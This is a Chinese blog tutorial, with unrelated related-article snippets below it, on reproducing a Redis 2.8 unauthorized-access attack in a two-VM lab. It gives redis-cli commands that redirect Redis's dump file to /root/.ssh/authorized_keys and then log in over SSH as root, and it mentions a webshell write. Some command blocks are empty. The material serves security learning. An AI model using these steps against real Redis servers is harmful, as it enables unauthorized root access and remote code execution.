SSRF——redis(未授权访问)①

news2024/11/14 2:25:18

本文介绍如何复现并利用Redis的未授权访问漏洞,以达到远程代码执行和获取系统权限的目的。Redis版本(2.8),于Ubuntu环境下进行。

SSRF(Server-Side Request Forgery)是一种网络安全漏洞,允许攻击者欺骗服务器去访问或获取本不应该被访问的资源。通常,SSRF漏洞出现在服务器端应用程序中,当它们从用户输入中生成请求时,攻击者可以利用这一点来进行恶意操作。

SSRF的工作原理

  1. 请求伪造:攻击者通过应用程序的输入接口(如表单字段、URL参数等)提交恶意数据。这些数据通常会被用来构建服务器发出的请求。

  2. 请求转发:服务器接收到恶意数据后,会将其用作发起请求的目标地址。这样,攻击者就可以利用服务器的权限访问内部网络、内部服务或其他受限资源。

  3. 信息泄露:攻击者通过SSRF可以获取到内部系统的敏感信息或服务,例如内网中的数据库、应用程序的内部接口,甚至可能获得服务器自身的信息。

环境准备

  1. 下载并安装Redis

    首先,下载Redis的源代码包并解压:

    wget http://download.redis.io/releases/redis-2.8.17.tar.gz
    tar xzf redis-2.8.17.tar.gz
    cd redis-2.8.17
    


    接着,编译安装Redis:


    编译完成后,进入src目录,将redis-serverredis-cli拷贝到/usr/bin目录下:

    cd src
    sudo cp redis-server redis-cli /usr/bin/
    


    然后,将Redis配置文件redis.conf拷贝到/etc/目录下:

    cd ..
    sudo cp redis.conf /etc/
    


    使用配置文件启动Redis服务:

    sudo redis-server /etc/redis.conf
    

  2. 克隆虚拟机

    将当前虚拟机克隆为两台虚拟机,一台作为攻击机,一台作为靶机。设定如下IP地址:

    • 攻击机 IP: 192.168.205.148
    • 靶    机 IP: 192.168.205.149

    启动Redis服务后,我们将使用redis-cli工具在攻击机上与靶机上的Redis服务进行交互。

未授权访问漏洞测试

Redis在未启用认证的情况下,可能允许任何人无授权访问。使用Redis客户端直接连接靶机Redis服务进行验证:

redis-cli -h 192.168.205.149

若能成功连接且未要求认证,则说明Redis服务存在未授权访问漏洞。

利用Redis写入Webshell

利用Redis未授权访问漏洞,可以写入Webshell来实现远程代码执行。以下是利用Redis的步骤:

  1. 确认条件

    • 靶机Redis服务未启用认证
    • 攻击机能通过redis-cli连接到靶机
    • 靶机上有Web服务器,并且知道Web服务器的路径
  2. 写入Webshell

    将Webshell写入靶机的Web目录。例如,将Webshell写入/home/wcy/目录下:

    确认Webshell是否成功写入后,在靶机上以验证:

利用Redis公私钥认证获取Root权限

当Redis服务以Root权限运行时,可以通过向Redis中写入SSH公钥文件来获得Root权限。以下是具体步骤:

  1. 配置Redis

    启动Redis服务:

    sudo redis-server /etc/redis.conf
    
  2. 创建SSH公钥目录

    在靶机中创建SSH公钥存放目录:

    mkdir /root/.ssh
    
  3. 生成SSH密钥对

    在攻击机上生成SSH密钥对,并将公钥保存到文件中:



  4. 将公钥写入Redis

    连接到靶机Redis服务:

    redis-cli -h 192.168.205.149
    


    获取Redis配置中的目录路径:

    CONFIG GET dir
    


    将目录路径更改为SSH公钥目录,并将公钥文件名设置为authorized_keys

    CONFIG SET dir /root/.ssh
    CONFIG SET dbfilename authorized_keys
    



    将公钥写入Redis:

  5. 验证并使用SSH登录

    在攻击机上,使用生成的私钥进行SSH免密登录:

    ssh -i id_rsa root@192.168.205.149

    成功登录后,即完成了利用Redis未授权访问漏洞获取Root权限的过程。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2074506.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

前端实现两张图片合成,图片换背景,简单p图程序

前言 最近在自己做一个图文工具网站,图片背景替换功能,后台通过opencv的AI算法抠出了图片主元素,现在需要把抠出来的元素换一个背景色,或者合成到一张背景图片中,如何操作呢? 实现方式Demo 我考虑的是…

linux系统使用 docker 来部署运行 mysql5.7 并配置 docker-compose-mysql.yml 文件

Docker是一个开源的容器化平台,旨在简化应用程序的创建、部署和管理。它基于OS-level虚拟化技术,通过将应用程序和其依赖项打包到一个称为容器的标准化单元中,使得应用程序可以在任何环境中快速、可靠地运行。 Docker的优势有以下几个方面&a…

【解决问题】linux系统运行程序可以打印信息到屏幕,重定向到一个文件,文件中没有信息

在Linux系统中运行程序时,如果你发现程序打印的信息无法通过重定向写入到文件中,那么很可能是因为程序将信息打印到了标准错误流(stderr),而不是标准输出流(stdout)。重定向操作通常只对标准输出…

20240826 每日AI必读资讯

突发!IBM中国研发岗访问权限一夜关闭,千人或被裁 - IBM中国区一夜关闭了研发测试岗员工的内部权限,波及1000多名员工。 - 今年3月,IBM大中华区董事长陈旭东在媒体及分析师沟通会上表示,公司在IBM大中华区的战略将聚焦…

《重生到现代之从零开始的C语言生活》—— 指针4

字符指针变量 在指针类型中我们知道有一种指针类型为字符指针char* 如果我们想用他 int main() {char p w;char *d &p;return 0; }他可以存放字符变量的地址 也可以这么使用 int main() {char *d "hello"return 0 ; }其本质是把字符串"hello"的…

动态链接库——深入探讨C++程序中.so技术细节和实现方式及C程序中动静态库的区别(+工程分步骤编译库)

在开发中,动态链接库(DLL)和共享对象(Shared Object).so文件的使用成为提升程序灵活性和重用性的关键手段。如下相关工具,GNU Libtool: 一种用于创建可移植共享库的工具。Dynamic Linker: 关于动态链接器的…

VSCode - 终端使用 code 命令

1、Command Shift P 调出 输入 shell 选择 安装命令 2、授权 3、使用 % code --version 1.92.1 eaa41d57266683296de7d214f574d0c2652e1fc4 arm64% code ~/.zshrc 伊织 2024-08-21(三)

6.InnoDB引擎

InnoDB引擎 1.逻辑存储结构2.架构2.1内存架构2.2 磁盘结构 3.事务原理3.1 事务3.2 redo log3.3undo log 4.MVCC4.1MVCC 基本概率14.2 实现原理 1.逻辑存储结构 2.架构 2.1内存架构 2.2 磁盘结构 create tablespace mytest add datafile mytest.idb engineinnodb;后台线程 mys…

Ubuntu 24.04 上安装和配置 Zabbix Agent

Zabbix 是一个强大的开源监控工具,可以帮助您跟踪服务器,网络和应用程序。在主机环境中配置了 Zabbix Server 之后,下一步是添加用于监视的远程主机。Zabbix Agent 从您的服务器收集数据并将其发送到 Zabbix 服务器进行监控。 本指南将向您展…

CUDA-BEVFusion(1): 环境安装

文章目录 1. 查看ubantu配置2. 环境安装2.1 安装包下载2.1.1 tensorRT 下载2.1.2 CUDA 下载2.1.3 cuDNN 下载2.2 安装2.2.1 cuda 安装2.2.2 cuDNN 安装2.2.3 tensorRT安装3. 安装包下载1. 查看ubantu配置 查看GPU的版本sudo apt-get install pciutilslspci | grep VGA查看linux…

Tabby 终端工具推荐

前言:Tabby 是一个现代化的、跨平台的终端模拟器,旨在提供增强的用户体验和定制功能。Tabby(以前称为 Terminus)被设计为比传统终端更加灵活和美观 Eugeny/tabby: A terminal for a more modern age (github.com)https://github.com/Eugeny/…

网络安全售前入门02——产品了解

目录 1.前言 2.WEB应用防火墙介绍 2.1产品架构功能 2.2应用场景 2.3部署形式 2.4产品价值 2.5选型依据 3.上网行为审计 3.1产品架构功能 3.2应用场景 3.3部署形式 3.4产品价值 3.5选型依据 后续 1.前言 为方便初接触网络安全售前工作的小伙伴了解网安行业情况,我…

BUUCTF PWN wp--ciscn_2019_n_1

第一步 checksec,并检查该题的保护机制 该题的保护机制如下: Arch (架构): amd64-64-little 这意味着这个二进制文件是为64位AMD64架构编译的,使用小端序(little-endian)。RELRO (重定位-read-only): Partial RELRO P…

工具技巧:如何使用AutoDL算力云

AutoDL算力云可以快速构建编程环境,价格也很实惠 模型运行已知需要显存少,可以考虑选择4090,有24G,具体选择哪种类型,可以看看重点看看这两方面**:数据盘能否扩容,CUDA版本是否够高** 根据自身…

虚拟化技术VirtualBox

虚拟化技术是当今云计算领域中的重要技术之一,而VirtualBox作为一款开源的虚拟化软件,在Linux系统中发挥着重要作用。本文将从VirtualBox的基本概念入手,介绍其在Linux系统中的应用和高级云计算技术,包括其原理、特点、优势、使用…

http基础原理及应用

三次握手 第一次 发送SYN报文 ,传达信息,我想建立连接 第二次 回传SYNACK报文,传达信息 :好的可以建立链接 第三次 回传ACK报文 传到信息:好的,我知道了,哪我能连接,然后就建立连…

深入探讨Linux中的EncFS:安全、灵活的加密文件系统

在当今数字化时代,数据安全是任何组织和个人都不容忽视的重要问题。随着信息技术的发展,对数据的保护要求也日益提高。Linux操作系统作为开源社区的杰出产物,在提供各种安全工具和解决方案方面也颇具优势。其中,EncFS(…

[指南]微软发布Windows-Linux双系统无法启动的完整修复方案

早前微软发布的 2024-08 例行安全更新导致 Windows-Linux 双系统无法启动引起关注,该问题实际上在 7 月份微软已经发现并且添加到已知问题列表中,但可能很多用户没注意结果安装更新后 Linux 系统无法正常启动。 问题根源在原本微软发布的补丁不应该针对…

使用vagrant、virtualbox、快速创建kali linux

使用vagrant、virtualbox、快速创建kali linux 初始化kali下载vagrant相应镜像vagrant添加相应镜像创建vagrantfile在vagrantfile根目录执行cmd虚拟机登录密码修改sshd配置 用shell远程链接(可选)可视化界面设置成中文创建成功展示图 添加实体网卡使用kali 破解WiFi密码解决 on…

网络安全教程初级指南

网络安全是当今最抢手的技能之一。如今,信息库如此庞大,节点网络也越来越庞大,网络安全的重要性也越来越高。 本网络安全教程适合初学者和专业人士。 在本教程中,您将学习有关网络安全的所有基本技能、工具和策略。 本网络安全…